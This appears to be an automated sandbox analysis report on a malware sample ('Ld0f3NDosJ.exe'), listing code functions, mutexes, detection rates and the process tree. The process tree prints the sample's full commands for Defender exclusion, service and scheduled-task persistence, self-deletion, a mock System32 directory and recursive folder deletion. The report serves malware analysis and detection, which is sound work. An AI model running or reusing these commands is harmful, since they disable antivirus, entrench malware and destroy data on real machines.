Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D356CA00	84_2_00007FF6D356CA00
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D355F050	84_2_00007FF6D355F050
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D35600F8	84_2_00007FF6D35600F8
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D3548FD8	84_2_00007FF6D3548FD8
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D3564E7C	84_2_00007FF6D3564E7C
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D355EE4C	84_2_00007FF6D355EE4C
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D3547EC0	84_2_00007FF6D3547EC0
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D3534DA0	84_2_00007FF6D3534DA0
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D356EDB4	84_2_00007FF6D356EDB4
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA973C18	87_2_00007FF6EA973C18
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA927180	87_2_00007FF6EA927180
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA96BBF0	87_2_00007FF6EA96BBF0
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA92CBC0	87_2_00007FF6EA92CBC0
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA93ABD0	87_2_00007FF6EA93ABD0
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA952B58	87_2_00007FF6EA952B58
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA948B96	87_2_00007FF6EA948B96
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA963B78	87_2_00007FF6EA963B78
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA96AC84	87_2_00007FF6EA96AC84
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA96CA00	87_2_00007FF6EA96CA00
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA948980	87_2_00007FF6EA948980
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA938AA0	87_2_00007FF6EA938AA0
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA948FD8	87_2_00007FF6EA948FD8
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA9600F8	87_2_00007FF6EA9600F8
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA95F050	87_2_00007FF6EA95F050
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA934DA0	87_2_00007FF6EA934DA0
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA96EDB4	87_2_00007FF6EA96EDB4
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA947EC0	87_2_00007FF6EA947EC0
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA95EE4C	87_2_00007FF6EA95EE4C
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA964E7C	87_2_00007FF6EA964E7C
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA93A3E0	87_2_00007FF6EA93A3E0
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA9341E0	87_2_00007FF6EA9341E0
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA9611F8	87_2_00007FF6EA9611F8
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA926190	87_2_00007FF6EA926190
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA96B2FC	87_2_00007FF6EA96B2FC
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA970300	87_2_00007FF6EA970300
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA949258	87_2_00007FF6EA949258
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA95F254	87_2_00007FF6EA95F254
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA948250	87_2_00007FF6EA948250
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA92C2B0	87_2_00007FF6EA92C2B0
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA92D2B0	87_2_00007FF6EA92D2B0
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA96A7EC	87_2_00007FF6EA96A7EC
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA94A7F0	87_2_00007FF6EA94A7F0
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA925820	87_2_00007FF6EA925820
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA948790	87_2_00007FF6EA948790
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA93A5C0	87_2_00007FF6EA93A5C0
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA96D568	87_2_00007FF6EA96D568
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA9736C0	87_2_00007FF6EA9736C0
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA926710	87_2_00007FF6EA926710
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA96167C	87_2_00007FF6EA96167C

Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFDA3791AB0 appears 77 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFDA33AE0FE appears 63 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFDA33AE278 appears 32 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFDA55830A0 appears 214 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFDA33AE27E appears 39 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFDA33AE896 appears 148 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFDA37976EA appears 38 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFDA3368FD0 appears 105 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFDA33AEDF0 appears 844 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFDA5583190 appears 113 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFDA33AE104 appears 461 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFDA3782D70 appears 260 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFDA3782C50 appears 63 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFDA33AE1CA appears 1339 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFDA33AE8A2 appears 128 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFDA33AE926 appears 36 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFDA3358330 appears 65 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFDA33AE10A appears 59 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFDA33583C0 appears 71 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFDA3782CD0 appears 48 times
Source: C:\Windows\System32\console_zero.exe	Code function: String function: 00007FFDA5583190 appears 327 times
Source: C:\Windows\System32\console_zero.exe	Code function: String function: 00007FFDA55830A0 appears 445 times
Source: C:\Windows\System32\console_zero.exe	Code function: String function: 00007FFDA55B03F0 appears 47 times
Source: C:\Windows\System32\console_zero.exe	Code function: String function: 00007FFDA55B98E0 appears 82 times
Source: C:\Windows\System32\console_zero.exe	Code function: String function: 00007FFDA55A1800 appears 42 times
Source: C:\Windows\System32\console_zero.exe	Code function: String function: 00007FFDA55A1920 appears 39 times
Source: C:\Windows\System32\console_zero.exe	Code function: String function: 00007FFDA55832A0 appears 47 times
Source: C:\Windows\System32\console_zero.exe	Code function: String function: 00007FFDA55B9870 appears 35 times
Source: C:\Windows\System32\console_zero.exe	Code function: String function: 00007FF6F8C56FF0 appears 50 times

Source: libiconv-2.dll.40.dr	Static PE information: Number of sections : 20 > 10
Source: libintl-9.dll.40.dr	Static PE information: Number of sections : 20 > 10
Source: libwinpthread-1.dll.40.dr	Static PE information: Number of sections : 12 > 10

Source: Ld0f3NDosJ.exe, 00000003.00000003.2284751779.000001E8C10DD000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenamelibcryptoH vs Ld0f3NDosJ.exe

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe reg add HKLM\SYSTEM\CurrentControlSet\services\x543664\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x543664.dat" /f

Source: classification engine

Classification label: mal100.evad.winEXE@157/53@5/5

Source: C:\Windows\System32\svchost.exe

Code function: 53_2_00007FFDA37959C0 GetFileAttributesA,GetLastError,_errno,CreateFileA,GetLastError,DeviceIoControl,_errno,GetLastError,FormatMessageA,libintl_gettext,__acrt_iob_func,LocalFree,CloseHandle,_errno,CloseHandle,WideCharToMultiByte,_errno,isalpha,memcpy,

53_2_00007FFDA37959C0

Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\hardsvcupdt[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6648:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2128:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6352:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2364:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2224:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4896:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6720:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7000:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5020:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6116:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6308:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3880:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3496:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4892:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3084:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5208:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6708:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5940:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5668:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5316:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1396:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:884:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4952:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5000:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5372:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2052:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3884:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6748:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2120:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4488:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_roxaabse.lav.ps1

Jump to behavior

Source: Ld0f3NDosJ.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Ld0f3NDosJ.exe	ReversingLabs: Detection: 52%
Source: Ld0f3NDosJ.exe	Virustotal: Detection: 54%

Source: svchost.exe	String found in binary or memory: -start
Source: svchost.exe	String found in binary or memory: -addr
Source: svchost.exe	String found in binary or memory: ../../gettext-runtime/intl/loadmsgcat.c

Source: unknown	Process created: C:\Users\user\Desktop\Ld0f3NDosJ.exe "C:\Users\user\Desktop\Ld0f3NDosJ.exe"
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop'"
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "C:\Users\user\Desktop\pyld64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\pyld64.exe "C:\Users\user\Desktop\pyld64.exe"
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 10 /nobreak && del "C:\Users\user\Desktop\Ld0f3NDosJ.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: C:\Users\user\Desktop\pyld64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Users\user\Desktop\pyld64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "C:\Windows\System32\usvcinsta64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\usvcinsta64.exe "C:\Windows\System32\usvcinsta64.exe"
Source: C:\Users\user\Desktop\pyld64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 10 /nobreak && del "C:\Users\user\Desktop\pyld64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: C:\Windows\System32\usvcinsta64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\usvcinsta64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
Source: C:\Windows\System32\usvcinsta64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c mkdir "\\?\C:\Windows \System32"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\usvcinsta64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "C:\Windows \System32\printui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows \System32\printui.exe "C:\Windows \System32\printui.exe"
Source: C:\Windows\System32\usvcinsta64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 10 /nobreak && del "C:\Windows\System32\usvcinsta64.exe"
Source: C:\Users\user\Desktop\pyld64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '%SystemDrive%\Windows \System32'; Add-MpPreference -ExclusionPath '%SystemDrive%\Windows\System32';"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Source: C:\Users\user\Desktop\pyld64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc create x543664 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x543664\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x543664.dat" /f && sc start x543664
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc create x543664 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKLM\SYSTEM\CurrentControlSet\services\x543664\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x543664.dat" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start x543664
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k DcomLaunch
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
Source: C:\Users\user\Desktop\pyld64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "C:\Windows\System32\console_zero.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\console_zero.exe "C:\Windows\System32\console_zero.exe"
Source: C:\Windows\System32\console_zero.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c schtasks /delete /tn "console_zero" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /delete /tn "console_zero" /f
Source: C:\Users\user\Desktop\pyld64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 10 /nobreak && rmdir /s /q "C:\Windows \"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: C:\Windows\System32\console_zero.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Source: unknown	Process created: C:\Windows\System32\console_zero.exe C:\Windows\System32\console_zero.exe
Source: C:\Windows\System32\console_zero.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c schtasks /delete /tn "console_zero" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /delete /tn "console_zero" /f
Source: C:\Windows\System32\console_zero.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'F:\'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\crypti.exe "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\crypti.exe "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\crypti.exe "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\crypti.exe "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\crypti.exe "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\crypti.exe "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\crypti.exe "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\crypti.exe "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\crypti.exe "c:\windows\system32\crypti.exe"
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop'"	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "C:\Users\user\Desktop\pyld64.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 10 /nobreak && del "C:\Users\user\Desktop\Ld0f3NDosJ.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\pyld64.exe "C:\Users\user\Desktop\pyld64.exe"	Jump to behavior
Source: C:\Users\user\Desktop\pyld64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"	Jump to behavior
Source: C:\Users\user\Desktop\pyld64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "C:\Windows\System32\usvcinsta64.exe"	Jump to behavior
